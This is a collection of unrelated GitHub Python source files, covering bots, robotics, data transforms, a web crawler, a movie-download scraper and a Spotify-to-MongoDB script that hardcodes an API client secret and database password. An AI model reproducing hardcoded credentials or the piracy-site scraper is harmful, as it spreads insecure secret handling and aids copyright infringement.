) ## Build the track info embed.\n await ctx.send(\n embed=embed, delete_after=60\n ) ## Send the embed when a track starts and delete it after 60 seconds.\n\n logging_channel = self.bot.get_channel(\n int(self.env.logging_id)\n ) ## Retrieve the logging channel.\n await logging_channel.send(\n embed=await self.responses.log_track_started(\n payload.track, payload.player.guild\n )\n ) ## Send the log embed.\n\n\nasync def setup(bot):\n \"\"\"\n Setup the cog.\n \"\"\"\n await bot.add_cog(MusicEvents(bot))\n","repo_name":"Its-Haze/Dj-Braum-Music","sub_path":"src/cogs/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"16669535545","text":"import re\n\ndef authorised_to_shup(source, owner):\n return source == owner\n\ndogged = [\"No one\"] * 2\n\ndef what_to_say(bot, source, request, private):\n global dogged\n match = re.match(\"dogbot: give (\\w+) dog #?(1|2)\", request)\n if match:\n which_dog = int(match.groups(0)[1]) - 1\n dogged[which_dog] = match.groups(0)[0]\n return [\n \"{0} has dog #{1} http://crashreports.lal.cisco.com/reports/dog{1}.jpg.\"\n .format(dogged[which_dog], which_dog + 1)\n ]\n elif \"who has the dog?\" in request:\n return [\n \"{1} has dog #{0} http://crashreports.lal.cisco.com/reports/dog{0}.jpg.\"\n .format(index + 1, recipient) for index, recipient in enumerate(dogged)\n ]\n match = re.match(\"who has dog #?(1|2)\", request)\n if match:\n which_dog = int(match.groups(0)[0]) - 1\n return [\n \"{1} has dog #{0} http://crashreports.lal.cisco.com/reports/dog{0}.jpg\"\n .format(which_dog + 1, dogged[which_dog])\n ]\n return []\n","repo_name":"rwgeaston/silly-IRC-bots","sub_path":"bots/dogbot.py","file_name":"dogbot.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3802186699","text":"from rosie_basics import RosieBasics\nimport numpy as np\nimport time\n\nWHEEL_RADIUS = 2.05\nAXIS_RADIUS = 8.35\n\nclass SimpleSquare(RosieBasics):\n\n\n def move_forward(self,distance):\n encoder_value = int(distance * 180/(np.pi * WHEEL_RADIUS))\n print(encoder_value)\n self.BP.set_motor_position(self.BP.PORT_A, encoder_value)\n self.BP.set_motor_position(self.BP.PORT_D, encoder_value)\n self.reset_encoder()\n time.sleep(4.5)\n\n def rotate(self,alpha):\n #alpha = angle in radians\n encoder_value = int(alpha*AXIS_RADIUS* 180/(np.pi * WHEEL_RADIUS))\n self.BP.set_motor_position(self.BP.PORT_A, encoder_value)\n print(encoder_value)\n self.BP.set_motor_position(self.BP.PORT_D, -encoder_value)\n self.reset_encoder()\n time.sleep(4.5)\n\n def run(self):\n self.setup_BP()\n for i in range(4):\n print(\"Run #:\", i)\n print(\"Encoder positions:\")\n print(self.BP.get_motor_encoder(self.BP.PORT_A),self.BP.get_motor_encoder(self.BP.PORT_D))\n print('Move forward')\n print(WHEEL_RADIUS)\n #self.move_forward(66)\n self.move_forward(40) #distance in cm\n print(self.BP.get_motor_encoder(self.BP.PORT_A),self.BP.get_motor_encoder(self.BP.PORT_D))\n print('Rotate')\n self.rotate(np.pi/2)\n print(self.BP.get_motor_encoder(self.BP.PORT_A),self.BP.get_motor_encoder(self.BP.PORT_D))\n\nif __name__== \"__main__\":\n simple_square = SimpleSquare()\n try:\n try:\n simple_square.run()\n except IOError as error:\n print(error)\n time.sleep(0.02)\n except KeyboardInterrupt: # except the program gets interrupted by Ctrl+C on the keyboard.\n simple_square.BP.reset_all() # Unconfigure the sensors, disable the motors, and restore the LED to the control of the BrickPi3 firmware.\n","repo_name":"marc-dlf/robotics_rosie_co_333","sub_path":"simple_square.py","file_name":"simple_square.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29755489615","text":"from sys import stdin\nfrom typing import Literal, cast\n\nANSWERS: list[Literal[\"A\", \"B\", \"C\", \"D\", \"E\"]] = [\"E\", \"A\", \"B\", \"C\", \"D\"] # 던져서 나온 윷의 배의 개수를 인덱스로 하는 정답 배열\n\nfor _ in range(3):\n res: list[Literal[\"0\", \"1\"]] = cast(list[Literal[\"0\", \"1\"]], stdin.readline().split())\n belly: int = 0 # 배가 나온 윷의 개수\n for c in res:\n if c == \"0\":\n belly += 1\n print(ANSWERS[belly])","repo_name":"Lapis0875/algorithm_datastructure","sub_path":"boj/2490/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32107208732","text":"import graphene\n\nfrom django_parler_graphql.enums import LanguageCodeEnum\nfrom django_parler_graphql.resolvers import resolver\n\n\nclass TranslatedInstanceFields(graphene.Field):\n def __init__(self, translated_model_type, resolver=resolver):\n super().__init__(\n translated_model_type,\n language_code=graphene.Argument(LanguageCodeEnum, required=True),\n resolver=resolver,\n )\n","repo_name":"selmanceker/django-parler-graphql","sub_path":"django_parler_graphql/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36207236728","text":"#!/usr/bin/python \n# -*- coding=utf8 -*-\n# Created by carrot on 2017/8/28.\n\n\"\"\"\n 题目:学习使用auto定义变量的用法。\n\"\"\"\n\nnum=2\ndef autofunc():\n num = 1\n print( 'internal block num = %d' % num)\n num += 1\n\ndef main():\n global num\n for i in range(3):\n print ('The num = %d' % num)\n num += 1\n autofunc()\n\n\nif __name__ == \"__main__\":\n main()\n\n ","repo_name":"116pythonZS/YiBaiExample","sub_path":"042.py","file_name":"042.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22729562070","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport fileinput\nimport re\nimport sys\nimport xmlrpc.client\n\n#######################################################\n# Globals\n\ngroupSeparator=\"Moses::ContextScope::GroupSeparator\"\n\nrecordSeparator=\"Moses::ContextScope::RecordSeparator\"\n\ndynamicPTName=\"DynamicPT0\"\ndynamicLMName=\"DynamicLM0\"\n\n#######################################################\n\ndef phraseTable(topts, source, featureName):\n\n result=\"\"\n\n for topt in topts:\n start=topt[\"start\"]\n end=topt[\"end\"]+1\n# print(start + \":\" + end)\n# source_phrase = source[start] + \"@0\" \n# for source_index in range(start+1,end):\n# source_phrase += \" \" + source[source_index] + \"@\" + str(source_index)\n source_phrase=\" \".join(source[start:end])\n target_phrase=topt[\"phrase\"]\n scores=topt[\"labelledScores\"][featureName][0]\n result += \"{} ||| {} ||| {}\\n\".format(source_phrase, target_phrase, \" \".join([str(score) for score in scores]))\n \n return result\n \n#######################################################\n\n\ndef static_moses(port, text):\n url = \"http://localhost:{}/RPC2\".format(port)\n proxy = xmlrpc.client.ServerProxy(url)\n params = {\n \"text\":text,\n \"topt\":\"true\",\n \"word-align\":\"true\",\n \"align\":\"true\",\n \"no-ReportSegmentation\":\"true\"\n }\n return proxy.translate(params)\n\n\n#######################################################\n\n\ndef dynamic_moses(port, text, contextScope):\n\n url = \"http://localhost:{}/RPC2\".format(port)\n\n proxy = xmlrpc.client.ServerProxy(url)\n params = {\n \"text\":text,\n \"topt\":\"true\",\n \"context-scope\":contextScope,\n }\n return proxy.translate(params)\n\n\n#######################################################\n\ndef indexSourceWords(sourceSentence):\n\n result = []\n words = sourceSentence.split()\n\n for source_index in range(0,len(words)):\n result.append(words[source_index] + \"@\" + str(source_index))\n \n return result\n\n\n#######################################################\n\n\ndef ppe(staticPort, dynamicPort, inputs):\n\n for sourceSentence in fileinput.input(inputs):\n\n sourceSentence = sourceSentence.strip()\n indexedSourceWords = indexSourceWords(sourceSentence)\n\n staticResult = static_moses(staticPort, sourceSentence)\n if 'align' in staticResult:\n print(staticResult['align'])\n print()\n if 'word-align' in staticResult:\n print(staticResult['word-align'])\n print()\n \n print(staticResult['topt'])\n print()\n\n staticTranslation = re.sub(r\"UNK\\S+\", \"\", staticResult['text']).strip()\n print(\"Source:\\t{}\\nTarget:\\t{}\".format(sourceSentence, staticTranslation))\n print()\n\n completePT = phraseTable(staticResult['topt'], indexedSourceWords, \"StaticPT0\")\n\n print(completePT)\n print()\n\n contextScope = \"DynamicPT0\" + recordSeparator + completePT\n\n dynamicResult = dynamic_moses(dynamicPort, \" \".join(indexedSourceWords), contextScope) \n dynamicTranslation = re.sub(r\"UNK\\S+\", \"\", dynamicResult['text'].strip())\n\n print(\"Target:\\t{}\".format(dynamicTranslation))\n\n\n\n#######################################################\n\n\nif __name__ == '__main__':\n \n if len(sys.argv) < 3:\n print(\"Usage: {} staticPort dynamicPort [sourceText]\".format(sys.argv[0]), file=sys.stderr)\n exit(-1)\n\n else:\n\n ppe(sys.argv[1], sys.argv[2], sys.argv[3:]+[\"-\"])\n\n","repo_name":"dowobeha/moses_mpe_experiments","sub_path":"001/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9551176752","text":"from decimal import Decimal\nimport datetime\nfrom dateutil import relativedelta, rrule\nimport calendar\nfrom functools import reduce\nfrom operator import add, mul\nfrom pyspark.sql.dataframe import DataFrame\nfrom pyspark.sql.functions import udf, expr, months_between, coalesce, lit, col\nfrom pyspark.sql.types import DecimalType, DateType, ArrayType, IntegerType\n\ndef add_columns(*source_columns):\n \"\"\"Add values from an arbitrary number of Spark columns together and return the result (as a column)\n Uses only Spark native functions for performance (contributed by Gonzalo Herreros )\n \"\"\"\n return reduce(add, [ coalesce(col(c), lit(0)) for c in source_columns ])\n\n\ndef policy_month_list(policy_effective_date: datetime.date, policy_expiration_date: datetime.date):\n \"\"\"Return list of months from the first month of the policy to the last\n \"\"\"\n first_day_of_month = datetime.date(policy_effective_date.year, policy_effective_date.month, 1)\n return list(rrule.rrule(freq=rrule.MONTHLY, dtstart=first_day_of_month, until=policy_expiration_date))\n\n\ndef months_between_normalized(expiration_date: datetime.date, effective_date: datetime.date) -> any:\n \"\"\"Calculate the number of months between 2 dates with floor-style rounding to nearest whole month\n Designed to work as regular Python function and Spark UDF\n \"\"\"\n if None in [ expiration_date, effective_date ]:\n return None\n\n # Columns of DateType are automatically converted to Python datetime.date\n # Achieve a floor-style rounding of number of months by subtracting 1 month from the end date\n expiration_prior_month = expiration_date - relativedelta.relativedelta(months=1)\n if expiration_prior_month < effective_date:\n # Except when policy length is one month or less\n expiration_prior_month = expiration_date\n\n # Using a list of months will ensure an integer number of months\n return len(policy_month_list(effective_date, expiration_prior_month))\n\n\ndef transform_enddate(df: DataFrame, enddate_spec: list, args: dict, lineage, *extra) -> DataFrame:\n \"\"\"Add a number of months to a specified date to get an ending/expiration date\n\n Parameters\n ----------\n policymonths_spec\n A list of dictionary objects in the form:\n field: \"NewFieldName\"\n start_date: field name containing the start date or policy effective date\n num_months: field name containing the number of months to add to the start date\n Column must be integer values\n \"\"\"\n cols_map = {}\n for spec in enddate_spec:\n # \"Column is not iterable\" workaround:\n # https://sparkbyexamples.com/pyspark/pyspark-typeerror-column-is-not-iterable/\n cols_map.update({spec['field']: expr(\n 'add_months(' + spec['start_date'] + ',' + spec['num_months'] + ')'\n )})\n\n lineage.update_lineage(df, args['source_key'], 'enddate', transform=enddate_spec)\n return df.withColumns(cols_map)\n\n\ndef transform_policymonths(df: DataFrame, policymonths_spec: list, args: dict, lineage, *extra) -> DataFrame:\n \"\"\"Calculate number of months between policy start/end dates\n\n Parameters\n ----------\n policymonths_spec\n A list of dictionary objects in the form:\n field: \"NewFieldName\"\n policy_effective_date: field name containing policy effective date\n policy_expiration_date: field name containing policy expiration date\n normalized: (optional) boolean if number of months should be floor-rounded\n \"\"\"\n cols_map = {}\n for spec in policymonths_spec:\n dates = [ spec['policy_expiration_date'], spec['policy_effective_date'] ]\n\n if spec.get('normalized', False):\n months_function = udf(months_between_normalized, IntegerType())\n cols_map.update({ spec['field']: months_function(*dates) })\n else:\n cols_map.update({ spec['field']: months_between(*dates).cast('Decimal(16,2)') })\n\n lineage.update_lineage(df, args['source_key'], 'policymonths', transform=policymonths_spec)\n return df.withColumns(cols_map)\n\n\n@udf(ArrayType(DateType()))\ndef add_policy_months_list(policy_effective_date, policy_expiration_date):\n \"\"\"Return an array column containing a list of active policy months for a policy\n Intended to be used with Spark explode\n \"\"\"\n if None not in [ policy_effective_date, policy_expiration_date ]:\n # ArrayType is equivalent to Python list\n return policy_month_list(policy_effective_date, policy_expiration_date)\n\n@udf(DateType())\ndef last_day_of_month(any_date_in_month):\n \"\"\"Given a date, return the last day of the month for that date\n \"\"\"\n if any_date_in_month:\n return datetime.date(any_date_in_month.year, any_date_in_month.month, \n calendar.monthrange(any_date_in_month.year, any_date_in_month.month)[1]\n )\n\ndef transform_expandpolicymonths(df: DataFrame, expandpremium_spec: dict, args: dict, lineage, *extra) -> DataFrame:\n \"\"\"Expand dataset to one row for each month the policy is active with a calculated earned premium\n\n Parameters\n ----------\n earnedpremium_spec\n A dictionary object in the form:\n policy_effective_date: field name containing policy effective date\n policy_expiration_date: field name containing policy expiration date\n uniqueid_field: (optional) Name of field to add with generated unique identifier (uuid)\n\t\t\tpolicy_month_start_field: Name of field to store the policy month\n\t\t\tpolicy_month_end_field: Name of field to store the policy month\n policy_month_index: field name to store the month index (starting with 1)\n \"\"\"\n # If specified, add a unique ID for each policy before exploding the rows\n if 'uniqueid_field' in expandpremium_spec:\n df = df.withColumn(expandpremium_spec['uniqueid_field'], expr('uuid()'))\n\n # Create array column with list of policy months (first day of the month)\n df = df.withColumn('expandpolicymonths_transform_policy_months_list',\n add_policy_months_list(\n expandpremium_spec['policy_effective_date'],\n expandpremium_spec['policy_expiration_date']\n ))\n\n # Use posexplode_outer to expand array of months to one row per month with an index column\n # Syntax reference: https://issues.apache.org/jira/browse/SPARK-20174\n df = df.selectExpr('*',\n f\"posexplode_outer(expandpolicymonths_transform_policy_months_list) \"\n f\"as ({expandpremium_spec['policy_month_index']}, `{expandpremium_spec['policy_month_start_field']}`)\"\n ).drop('expandpolicymonths_transform_policy_months_list')\n\n cols_map = {\n # Add column for last day of month, so we have both start and end date of period\n expandpremium_spec['policy_month_end_field']:\n last_day_of_month(expandpremium_spec['policy_month_start_field']),\n # Index is 0-based by default, so add 1 to normalize it\n expandpremium_spec['policy_month_index']:\n expr(f\"{expandpremium_spec['policy_month_index']} + 1\")\n }\n df = df.withColumns(cols_map)\n\n lineage.update_lineage(df, args['source_key'], 'expandpolicymonths', transform=expandpremium_spec)\n return df\n\n\n@udf(DecimalType(16,2))\ndef earnedpremium_straightline(total_premium, effective_date, expiration_date, period_start_date, period_end_date):\n \"\"\"Calculate Earned Premium for a given policy and period dates using a straighline method\n \"\"\"\n if None in [ total_premium, effective_date, expiration_date, period_start_date, period_end_date ]:\n return None\n\n month_list = policy_month_list(effective_date, expiration_date)\n # Check for empty list due to effective_date >= expiration_date (i.e. bad data)\n # Use last month in normalized month list instead of expiration_date to provide consistent results\n if not month_list or \\\n period_end_date < effective_date or period_end_date > month_list[-1].date():\n # Last month of the policy will have $0, first month will have a full earned premium\n # expiration_date must be on or earlier than effective_date (prevents division by 0)\n return None\n\n return total_premium / months_between_normalized(expiration_date, effective_date)\n\n\n@udf(DecimalType(16,2))\ndef earnedpremium_byday(total_premium, effective_date, expiration_date, period_start_date, period_end_date):\n \"\"\"Calculate Earned Premium for a given policy and period dates using number of days in period\n \"\"\"\n if None in [ total_premium, effective_date, expiration_date, period_start_date, period_end_date ]:\n return None\n\n if period_end_date < effective_date or period_start_date > expiration_date or \\\n (expiration_date - effective_date).days < 0:\n # Specified period is outside the policy dates\n # expiration_date must be on or earlier than effective_date (prevents division by 0)\n return None\n\n start_date = effective_date if period_start_date < effective_date else period_start_date\n end_date = expiration_date if period_end_date > expiration_date else period_end_date\n return total_premium * \\\n Decimal(\n ((end_date - start_date).days + 1)\n /\n ((expiration_date - effective_date).days + 1)\n )\n\ndef transform_earnedpremium(df: DataFrame, earnedpremium_spec: list, args: dict, lineage, *extra) -> DataFrame:\n \"\"\"Calculate monthly earned premium\n\n Parameters\n ----------\n earnedpremium_spec\n A list of dictionary objects in the form:\n field: \"NewFieldName\"\n written_premium_list: [ \"first\", \"second\", \"third\" ] list of fields containing written premium to be summed\n period_start_date: field name containing period start date\n period_end_date: field name containing period end date\n policy_effective_date: field name containing policy effective date\n policy_expiration_date: field name containing policy expiration date\n byday: (optional) boolean to determine method of calculation (by month vs. by day)\n \"\"\"\n cols_map = {}\n for spec in earnedpremium_spec:\n if 'byday' in spec and spec['byday']:\n cols_map.update({spec['field']: earnedpremium_byday(\n add_columns(*spec['written_premium_list']),\n spec['policy_effective_date'],\n spec['policy_expiration_date'],\n spec['period_start_date'],\n spec['period_end_date'],\n )})\n else:\n cols_map.update({spec['field']: earnedpremium_straightline(\n add_columns(*spec['written_premium_list']),\n spec['policy_effective_date'],\n spec['policy_expiration_date'],\n spec['period_start_date'],\n spec['period_end_date'],\n )})\n\n lineage.update_lineage(df, args['source_key'], 'earnedpremium', transform=earnedpremium_spec)\n return df.withColumns(cols_map)\n\n\ndef transform_addcolumns(df: DataFrame, addcolumns_spec: list, args: dict, lineage, *extra) -> DataFrame:\n \"\"\"Add two or more columns together in a new or existing column\n\n Parameters\n ----------\n addcolumns_spec\n A list of dictionary objects in the form:\n field: \"NewFieldName\"\n source_columns: [ \"first\", \"second\", \"third\" ] list of fields to add together\n \"\"\"\n cols_map = {}\n for spec in addcolumns_spec:\n cols_map.update({ spec['field']: add_columns(*spec['source_columns']) })\n\n lineage.update_lineage(df, args['source_key'], 'addcolumns', transform=addcolumns_spec)\n return df.withColumns(cols_map)\n\n\ndef transform_flipsign(df: DataFrame, field_list: list, args: dict, lineage, *extra) -> DataFrame:\n \"\"\"Flip the sign of a numeric column in a Spark DataFrame, optionally in a new column\n\n Parameters\n ----------\n field_list\n List of dictionary objects in the form:\n field: \"NeworCurrentFieldName\"\n source: \"SourceFieldName\" (optional, if omitted, field will be changed in place)\n \"\"\"\n cols_map = {}\n for spec in field_list:\n sourcefield = spec.get('source', spec['field'])\n cols_map.update({ spec['field']: - df[sourcefield] })\n\n lineage.update_lineage(df, args['source_key'], 'flipsign', transform=field_list)\n return df.withColumns(cols_map)\n\n\ndef transform_multiplycolumns(df: DataFrame, multiplycolumns_spec: list, args: dict, lineage, *extra) -> DataFrame:\n \"\"\"Multiply two or more columns together in a new or existing column\n\n Parameters\n ----------\n multiplycolumns_spec\n List of dictionary objects in the form:\n field: \"NewFieldName\"\n source_columns: [ \"first\", \"second\", \"third\" ] list of fields to multiply together\n empty_value: Value to use if field value is null/empty, (optional, default is 1)\n \"\"\"\n cols_map = {}\n for spec in multiplycolumns_spec:\n empty_value = spec.get('empty_value', 1)\n cols_map.update({\n spec['field']: reduce(mul, [\n coalesce(col(c), lit(empty_value))\n for c in spec['source_columns']\n ])\n })\n\n lineage.update_lineage(df, args['source_key'], 'multiplycolumns', transform=multiplycolumns_spec)\n return df.withColumns(cols_map)","repo_name":"aws-samples/aws-insurancelake-etl","sub_path":"lib/glue_scripts/lib/datatransform_premium.py","file_name":"datatransform_premium.py","file_ext":"py","file_size_in_byte":13386,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"37424932639","text":"import numpy as np\nimport pytest\n\nfrom prose import FITSImage\nfrom prose.core.image import Buffer, Image\nfrom prose.core.source import PointSource, Sources\nfrom prose.simulations import fits_image\n\n\ndef test_init_append(n=5):\n buffer = Buffer(n)\n init = np.random.randint(0, 20, size=20)\n buffer.init(init)\n np.testing.assert_equal(\n buffer.items[buffer.mid_index + 1 :], init[: buffer.mid_index]\n )\n buffer.append(4)\n assert buffer.items[-1] == 4\n\n\ndef test_buffer_iter():\n buffer = Buffer(5)\n data = np.random.randint(0, 20, 20)\n buffer.init(data)\n for i, buf in enumerate(buffer):\n assert buf.current == data[i]\n\n\ndef test_cutout(coords=(0, 0)):\n image = Image(data=np.random.rand(100, 100))\n im = image.cutout(coords, 5, wcs=False)\n assert im.data.shape == (5, 5)\n\n\ndef test_data_cutouts():\n image = Image(data=np.random.rand(100, 100))\n coords = np.random.rand(10, 2)\n cutouts = image.data_cutouts(coords, 5)\n\n\ndef test_plot_sources():\n image = Image(data=np.random.rand(100, 100))\n image.sources = Sources([PointSource(coords=(0, 0), i=i) for i in range(5)])\n image.show()\n image.sources[[0, 1, 3]].plot()\n image.sources[0].plot()\n # seen in a bug\n image.sources[np.int64(0)].plot()\n\n\ndef test_fitsimage(tmp_path):\n filename = tmp_path / \"test.fits\"\n fits_image(np.random.rand(100, 100), {}, filename)\n\n loaded_image = FITSImage(filename)\n assert \"IMAGETYP\" in dict(loaded_image.header)\n","repo_name":"lgrcia/prose","sub_path":"tests/test_image.py","file_name":"test_image.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"37"} +{"seq_id":"18548785593","text":"# -*- coding: utf-8 -*-\n\n\nimport re,urllib,urlparse\n\nfrom resources.lib import resolvers\nfrom resources.lib.libraries import client\n\n\nclass source:\n def __init__(self):\n self.download_link = 'http://dl.directdlmovie.com/%s'\n self.dvdscr_suffix = '.ShAaNiG.directdlmovie.com.mkv'\n self.hd_suffix = '.directdlmovie.com.mkv'\n self.base_link = 'http://directdlmovie.com'\n self.search_link = '?s=%s'\n\n def get_movie(self, imdb, title, year):\n try:\n title = title.replace(':', '')\n\n query = self.search_link % urllib.quote_plus(title)\n query = urlparse.urljoin(self.base_link, query)\n\n result = client.request(query)\n\n thumbs = client.parseDOM(result, 'div', attrs = {'class': 'thumbn'})\n images = client.parseDOM(thumbs, 'img', ret='alt')\n\n list = client.parseDOM(result, 'li', attrs = {'class': 'izlenme'})\n pages = client.parseDOM(list, 'a', ret='href')\n\n url = []\n for idx, description in enumerate(images):\n description = description.replace('.', ' ')\n description = description.replace(':', ' ')\n description = re.sub(' +',' ', description)\n description = description.lower()\n title = title.lower()\n\n if title in description:\n u = pages[idx]\n url.append(u.encode('utf-8'))\n\n return url\n except:\n return\n\n def get_sources(self, url, hosthdDict, hostDict, locDict):\n try:\n sources = []\n\n if url == None: return sources\n\n for p in url:\n result = client.request(p)\n\n links = re.compile('href=\"(.+).mkv\"').findall(result)\n source = 'directdlmovie'\n\n if len(links) == 0:\n links = re.compile('\\\\')\n if any((c in chars) for c in comment_detail['text']):\n return \"False\"\n\n if comment_detail['text'] != \"\":\n comment.text = str(comment_detail['text'])\n else:\n comment.text=\"cbm is cool\"\n\n comment.username=str(comment_detail['username'])\n taskid=(tasks_service.get_taskid(taskname=comment_detail['taskname']))[0][0]\n comment.taskid=taskid\n comments_dao.add_comment(comment)\n return \"True\"\n\n\n","repo_name":"gurus158/cbmctf","sub_path":"services/comments_service.py","file_name":"comments_service.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"45745578608","text":"'''\nThis script prompts a user to pass the url and the first level links of the url and \noutputs dictionaries of internal, external and broken links respectively.\n'''\n\nfrom collections import deque\nfrom url_html import url_html\nfrom links_from_html import links_from_html\nfrom typing import List, Tuple, Dict\nimport config\n\n# All the extenstions that should not be crawled since they don't contain any links\ndont_crawl_extensions = ('.mp3', '.deb', '.pkg', '.rar', '.rar', '.rpm',\n '.tar.gz', '.zip', '.z', '.bin', '.dmg', '.csv', \n '.dat', '.db', '.log', '.mdb', '.sql', '.tar',\n '.xml', '.email', '.vcf', '.apk', '.bat', '.cgi', \n '.pl', '.exe', '.jar', '.msi', '.fnt', '.otf', \n '.png', '.jpeg', '.ai', '.bmp', '.gif', '.jpg',\n '.mkv', '.avi', '.tiff', '.ico', '.ps', '.tif', \n '.odp', '.ppt', '.pptx', '.ods', '.xls', '.xlsx', \n '.cfg', '.dll', '.dmp', '.ico', '.msi', '.sys', \n '.tmp', '.m4v','.mpg', '.wmv', '.doc', '.docx', \n '.pdf', '.tex', '.txt')\n\ndef all_links(links, url):\n '''\n Returns the dictionary of internal, external and broken links along with their loading\n time and error.\n '''\n queue = deque(links)\n internal = {'ref' : [], 'load_time': []}\n external= {'ref' : [], 'load_time': []}\n broken = {'ref' : [], 'err': []}\n i = 0\n while queue:\n link = queue.popleft()\n i += 1\n print(i, link)\n if link[0] == '/':\n config.logger.info(f\"Checking link: {url}{link[1:]}\")\n crawled_info = url_html(f\"{url}{link[1:]}\")\n if len(crawled_info) == 2:\n config.logger.info(f\"Internal link: {url}{link[1:]}\")\n internal['ref'].append(link)\n internal['load_time'].append(crawled_info[1])\n if not link.endswith(dont_crawl_extensions):\n try: \n config.logger.info(f\"Crawling {url}{link[1:]}\")\n html_decoded = crawled_info[0].read().decode()\n config.logger.info(\"HTML of the URL decoded into a str object\")\n internal_level_links = links_from_html(html_decoded, url)\n config.logger.info(\"Link is crawled and urls are added\")\n for l in internal_level_links:\n if (l not in internal['ref'] and l not in external['ref'] \n and l not in broken['ref'] and l not in queue):\n queue.append(l)\n except: \n pass\n else: \n config.logger.info(f\"Broken link: {url}{link[1:]}\")\n broken['ref'].append(link)\n broken['err'].append(crawled_info[0])\n else:\n config.logger.info(f\"Checking link: {link}\")\n crawled_info = url_html(link)\n if len(crawled_info) == 2:\n config.logger.info(f\"External link: {link}\")\n external['ref'].append(link)\n external['load_time'].append(crawled_info[1])\n else:\n config.logger.info(f\"Broken link: {link}\")\n broken['ref'].append(link)\n broken['err'].append(crawled_info[0])\n return internal, external, broken","repo_name":"Rohit102497/Command_Line_Utility","sub_path":"web_crawler/all_links.py","file_name":"all_links.py","file_ext":"py","file_size_in_byte":3484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24436410211","text":"import spotipy\nfrom spotipy.oauth2 import SpotifyOAuth\nimport pymongo\nimport base64\nfrom requests import post, get\nimport json\n#import os\n\n# Set your Spotify API credentials\nclient_id = '10c241e9a6b944928d20497ef814ef7d'\nclient_secret = 'b1cb224681ee4f8ea9d3f54ea1a3966a'\n\n# Initialize Spotipy with OAuth2 authentication\n#sp = spotipy.Spotify(auth_manager=SpotifyOAuth(client_id=client_id, client_secret=client_secret))\n\nmaindb = 'cgs'#os.getenv(\"MONGO_DB\")\nmaindbuser = 'longestsoup'#os.getenv(\"MONGO_USER\")\nmaindbpass = 'shorteststraw'#os.getenv(\"MONGO_PASS\")\nmaindbhost = 'localhost'#os.getenv(\"MONGO_HOST\")\n\nmyclient = pymongo.MongoClient(\n \"mongodb://%s:%s@localhost:27017/cgs\" % (maindbuser, maindbpass)\n)\ndb = myclient[maindb]\n#mycol = db[\"RPD\"]\n\ndef get_token():\n auth_string = client_id + \":\" + client_secret\n auth_bytes = auth_string.encode(\"utf-8\")\n auth_base64 = str(base64.b64encode(auth_bytes), \"utf-8\")\n #Above encodes the token into base64\n\n url = \"https://accounts.spotify.com/api/token\"\n headers = {\n \"Authorization\": \"Basic \" + auth_base64,\n \"Content-Type\": \"application/x-www-form-urlencoded\"\n\n }\n data = {\"grant_type\": \"client_credentials\"}\n result = post(url, headers=headers, data=data)\n json_result = json.loads(result.content)\n token = json_result['access_token']\n return token\n\ndef get_auth_header(token):\n return {'Authorization': 'Bearer ' + token}\n\ndef search_for_artist(token, artist_name):\n url = 'https://api.spotify.com/v1/search' #spotify api search link\n headers = get_auth_header(token) #authentication header with our token to access api url\n query = f\"?q={artist_name}&type=artist&limit=1\" #querying specifically only 1 artist --> change limit\n\n query_url = url + query\n result = get(query_url, headers=headers)\n api_json = json.loads(result.content)# what will exist for json result\n #return api_json\n #mycol.insert_one(json_result)\n spotify_name = api_json[\"name\"]\n spotify_popularity=[\"popularity\"]\n genre_types = api_json[\"genres\"]\n spotify_link = api_json[\"external_urls\"][\"spotify\"]\n spotify_id = api_json[\"id\"]\n spotify_images = []\n if \"images\" in api_json:\n for image_data in api_json[\"images\"]:\n url = image_data.get(\"url\")\n height = image_data.get(\"height\")\n width = image_data.get(\"width\")\n image_info = {\n \"url\": url,\n \"height\": height,\n \"width\": width,\n }\n spotify_images.append(image_info)\n artist_data = {\n \"spotify_data\": {\n \"spotifyName\": spotify_name,\n \"popularity\": spotify_popularity,\n \"spotifyId\": spotify_id,\n \"Genres\": genre_types,\n \"spotifyUrl\": spotify_link,\n \"spotifyPictures\": spotify_images,\n },\n }\n # Now we take user_data and shove it into the database\n try:\n db.spotifyArtists.insert_one(artist_data)\n print(\"Successfully added user data to spotifyArtists\")\n except:\n print(\"Could not add artist into the database\")\n\ntoken = get_token()\nresult = search_for_artist(token, 'Nirvana')\n\ndef processProfile(api_json):\n \"\"\"# processProfile\n This takes in the json from the spotify api pull of a user profile and processes it into the schema.\n Args:\n api_json (json): The json from the spotify api for the user profile\n uid (int): the integer of the user id. Or string. Whatever.\n \"\"\"\n # First, read the data it receives, and then process it into the schema\n spotify_name = api_json[\"name\"]\n spotify_popularity=[\"popularity\"]\n genre_types = api_json[\"genres\"]\n spotify_link = api_json[\"external_urls\"][\"spotify\"]\n spotify_id = api_json[\"id\"]\n spotify_images = []\n if \"images\" in api_json:\n for image_data in api_json[\"images\"]:\n url = image_data.get(\"url\")\n height = image_data.get(\"height\")\n width = image_data.get(\"width\")\n image_info = {\n \"url\": url,\n \"height\": height,\n \"width\": width,\n }\n spotify_images.append(image_info)\n artist_data = {\n \"spotifyName\": spotify_name,\n \"spotify_data\": {\n \"popularity\": spotify_popularity,\n 